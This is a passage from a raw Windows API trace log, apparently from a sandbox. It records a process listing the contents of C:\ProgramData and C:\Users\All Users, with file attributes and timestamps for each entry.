ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0208.938] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcb9c8f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0208.939] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0208.939] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0208.939] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x1b54cf26, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b54cf26, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0208.939] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x506a2e14, ftCreationTime.dwHighDateTime=0x1d8a64c, ftLastAccessTime.dwLowDateTime=0xf12608ef, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xf12608ef, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~3")) returned 1 [0208.940] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87b95643, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x87b95643, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x87b95643, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0208.940] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0208.940] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387f5bb4, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6be8870b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6be8870b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0208.940] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xea66a7d6, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xbcdad51e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0208.941] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0208.941] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0208.941] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c336adf, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2c336adf, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xb6052400, ftLastWriteTime.dwHighDateTime=0x1d9eb0e, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System.exe", cAlternateFileName="")) returned 1 [0208.941] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0208.941] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf99491c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf99491c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1 [0208.942] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf97592c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf97592c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1 [0208.942] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf97592c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf97592c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 0 [0208.942] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0208.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dd450) returned 1 [0208.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dd410) returned 1 [0208.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dd520) returned 1 [0208.943] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x1f2dd000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0208.943] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*" (normalized: "c:\\users\\all users\\*"), lpFindFileData=0x1f2dd230 | out: lpFindFileData=0x1f2dd230*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x2c65ef44, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2c65ef44, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0208.943] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x2c65ef44, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2c65ef44, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.943] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c65ef44, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2c65ef44, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2c65ef44, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x36d, dwReserved0=0x0, dwReserved1=0x0, cFileName="27d1bcfc3c54e0", cAlternateFileName="27D1BC~1")) returned 1 [0208.944] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0208.944] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcb9c8f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0208.944] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0208.944] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0208.945] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x1b54cf26, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b54cf26, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0208.945] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x506a2e14, ftCreationTime.dwHighDateTime=0x1d8a64c, ftLastAccessTime.dwLowDateTime=0xf12608ef, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xf12608ef, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~3")) returned 1 [0208.945] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87b95643, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x87b95643, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x87b95643, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0208.945] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4af3a5b, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0208.945] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387f5bb4, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x6be8870b, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6be8870b, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0208.945] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xea66a7d6, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xbcdad51e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0208.946] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0208.946] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0208.946] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c336adf, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2c336adf, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xb6052400, ftLastWriteTime.dwHighDateTime=0x1d9eb0e, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.exe", cAlternateFileName="")) returned 1 [0208.946] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0208.947] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf99491c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf99491c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1 [0208.947] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf97592c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf97592c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1 [0208.947] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dd1f0 | out: lpFindFileData=0x1f2dd1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0208.947] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0208.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dd450) returned 1 [0208.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dd410) returned 1 [0208.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dcd60) returned 1 [0208.948] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Application Data", nBufferLength=0x105, lpBuffer=0x1f2dc840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Application Data", lpFilePart=0x0) returned 0x23 [0208.948] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Application Data\\*" (normalized: "c:\\users\\all users\\application data\\*"), lpFindFileData=0x1f2dca70 | out: lpFindFileData=0x1f2dca70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0208.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcd00) returned 1 [0208.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dcd60) returned 1 [0208.955] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Application Data", nBufferLength=0x105, lpBuffer=0x1f2dc840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Application Data", lpFilePart=0x0) returned 0x23 [0208.955] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Application Data\\*" (normalized: "c:\\users\\all users\\application data\\*"), lpFindFileData=0x1f2dca70 | out: lpFindFileData=0x1f2dca70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0208.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcd00) returned 1 [0208.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dcd60) returned 1 [0208.963] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Comms", nBufferLength=0x105, lpBuffer=0x1f2dc840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Comms", lpFilePart=0x0) returned 0x18 [0208.963] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Comms\\*" (normalized: "c:\\users\\all users\\comms\\*"), lpFindFileData=0x1f2dca70 | out: lpFindFileData=0x1f2dca70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcb9c8f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0208.964] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcb9c8f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.964] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcb9c8f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0208.964] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0208.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcc90) returned 1 [0208.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcc50) returned 1 [0208.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dcd60) returned 1 [0208.965] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Comms", 